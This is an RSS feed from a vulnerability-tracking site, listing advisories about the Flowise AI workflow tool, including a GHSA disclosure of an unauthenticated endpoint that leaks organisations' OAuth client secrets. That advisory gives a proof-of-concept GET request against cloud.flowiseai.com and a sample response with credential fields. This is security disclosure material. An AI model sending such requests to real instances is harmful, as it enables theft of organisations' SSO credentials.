<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 04 Oct 2026 01:11:56 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-329778</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-329778</link>
      <description>EUVD-2026-329778</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-329778</guid>
    </item>
    <item>
      <title>fkie_cve-2026-56270</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-56270</link>
      <description>&lt;p&gt;Flowise before 3.1.0 (versions 3.0.13 and earlier) contains a missing authentication vulnerability in the /api/v1/loginmethod endpoint that allows unauthenticated users to retrieve an organization&amp;#39;s complete SSO configuration, including OAuth client secrets in cleartext, by providing an organizationId parameter. Remote attackers can send a GET request to harvest sensitive API credentials for Google, Microsoft/Azure, GitHub, and Auth0 integrations. This affects FlowiseAI Cloud and self-hosted instances where the endpoint is exposed.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Flowise before 3.1.0 (versions 3.0.13 and earlier) contains a missing authentication vulnerability in the /api/v1/loginmethod endpoint that allows unauthenticated users to retrieve an organization&amp;#39;s complete SSO configuration, including OAuth client secrets in cleartext, by providing an organizationId parameter. Remote attackers can send a GET request to harvest sensitive API credentials for Google, Microsoft/Azure, GitHub, and Auth0 integrations. This affects FlowiseAI Cloud and self-hosted instances where the endpoint is exposed.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-56270</guid>
    </item>
    <item>
      <title>GHSA-6pcv-j4jx-m4vx — Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-6pcv-j4jx-m4vx</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: flowise&lt;/p&gt;
&lt;p&gt;### Summary
I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext.&lt;/p&gt;
&lt;p&gt;### PoC
The following request can be sent by anyone on the internet without any cookies or authorization headers.&lt;/p&gt;
&lt;p&gt;Request
```http
GET /api/v1/loginmethod?organizationId=&amp;lt;any_organization_id&amp;gt; HTTP/2
Host: cloud.flowiseai.com
Accept: application/json
Content-Type: application/json
```&lt;/p&gt;
&lt;p&gt;Response: The server returns 200 OK with sensitive credentials:
```json
{
  &amp;#34;providers&amp;#34;: [
    {
      &amp;#34;id&amp;#34;: &amp;#34;a04ba769-b810-481d-8d6b-84f8c377dea5&amp;#34;,
      &amp;#34;organizationId&amp;#34;: &amp;#34;bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d&amp;#34;,
      &amp;#34;name&amp;#34;: &amp;#34;azure&amp;#34;,
      &amp;#34;config&amp;#34;: {
        &amp;#34;tenantID&amp;#34;: &amp;#34;&amp;#34;,
        &amp;#34;clientID&amp;#34;: &amp;#34;&amp;#34;,
        &amp;#34;clientSecret&amp;#34;: &amp;#34;&amp;#34;
      },
      &amp;#34;status&amp;#34;: &amp;#34;disable&amp;#34;,
      &amp;#34;createdDate&amp;#34;: &amp;#34;2025-12-26T18:52:33.453Z&amp;#34;,
      &amp;#34;updatedDate&amp;#34;: &amp;#34;2025-12-26T19:31:56.087Z&amp;#34;,
      &amp;#34;createdBy&amp;#34;: &amp;#34;6ab311fa-0d0a-4bd6-996e-4ae721377fb2&amp;#34;,
      &amp;#34;updatedBy&amp;#34;: &amp;#34;6ab311fa-0d0a-4bd6-996e-4ae721377fb2&amp;#34;
    },
    {
      &amp;#34;id&amp;#34;: &amp;#34;eda8bd90-1c45-4aca-933f-3a53d9be4161&amp;#34;,
      &amp;#34;organizationId&amp;#34;: &amp;#34;bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d&amp;#34;,
      &amp;#34;name&amp;#34;: &amp;#34;google&amp;#34;,
      &amp;#34;config&amp;#34;: {
        &amp;#34;clientID&amp;#34;: &amp;#34;123455&amp;#34;,
        &amp;#34;clientSecret&amp;#34;: &amp;#34;123455&amp;#34;
      },
      &amp;#34;status&amp;#34;: &amp;#34;enable&amp;#34;,
      &amp;#34;createdDate&amp;#34;: &amp;#34;…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: flowise&lt;/p&gt;
&lt;p&gt;### Summary
I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext.&lt;/p&gt;
&lt;p&gt;### PoC
The following request can be sent by anyone on the internet without any cookies or authorization headers.&lt;/p&gt;
&lt;p&gt;Request
```http
GET /api/v1/loginmethod?organizationId=&amp;lt;any_organization_id&amp;gt; HTTP/2
Host: cloud.flowiseai.com
Accept: application/json
Content-Type: application/json
```&lt;/p&gt;
&lt;p&gt;Response: The server returns 200 OK with sensitive credentials:
```json
{
  &amp;#34;providers&amp;#34;: [
    {
      &amp;#34;id&amp;#34;: &amp;#34;a04ba769-b810-481d-8d6b-84f8c377dea5&amp;#34;,
      &amp;#34;organizationId&amp;#34;: &amp;#34;bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d&amp;#34;,
      &amp;#34;name&amp;#34;: &amp;#34;azure&amp;#34;,
      &amp;#34;config&amp;#34;: {
        &amp;#34;tenantID&amp;#34;: &amp;#34;&amp;#34;,
        &amp;#34;clientID&amp;#34;: &amp;#34;&amp;#34;,
        &amp;#34;clientSecret&amp;#34;: &amp;#34;&amp;#34;
      },
      &amp;#34;status&amp;#34;: &amp;#34;disable&amp;#34;,
      &amp;#34;createdDate&amp;#34;: &amp;#34;2025-12-26T18:52:33.453Z&amp;#34;,
      &amp;#34;updatedDate&amp;#34;: &amp;#34;2025-12-26T19:31:56.087Z&amp;#34;,
      &amp;#34;createdBy&amp;#34;: &amp;#34;6ab311fa-0d0a-4bd6-996e-4ae721377fb2&amp;#34;,
      &amp;#34;updatedBy&amp;#34;: &amp;#34;6ab311fa-0d0a-4bd6-996e-4ae721377fb2&amp;#34;
    },
    {
      &amp;#34;id&amp;#34;: &amp;#34;eda8bd90-1c45-4aca-933f-3a53d9be4161&amp;#34;,
      &amp;#34;organizationId&amp;#34;: &amp;#34;bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d&amp;#34;,
      &amp;#34;name&amp;#34;: &amp;#34;google&amp;#34;,
      &amp;#34;config&amp;#34;: {
        &amp;#34;clientID&amp;#34;: &amp;#34;123455&amp;#34;,
        &amp;#34;clientSecret&amp;#34;: &amp;#34;123455&amp;#34;
      },
      &amp;#34;status&amp;#34;: &amp;#34;enable&amp;#34;,
      &amp;#34;createdDate&amp;#34;: &amp;#34;…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-6pcv-j4jx-m4vx</guid>
    </item>
    <item>
      <title>WID-SEC-W-2026-1145 — Flowise: Mehrere Schwachstellen</title>
      <link>https://cve.radiocsirt.org/vuln/wid-sec-w-2026-1145</link>
      <description>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um beliebigen Programmcode auszuführen, um Sicherheitsvorkehrungen zu umgehen, um Informationen offenzulegen, und um Dateien zu manipulieren.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um beliebigen Programmcode auszuführen, um Sicherheitsvorkehrungen zu umgehen, um Informationen offenzulegen, und um Dateien zu manipulieren.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/wid-sec-w-2026-1145</guid>
    </item>
  </channel>
</rss>
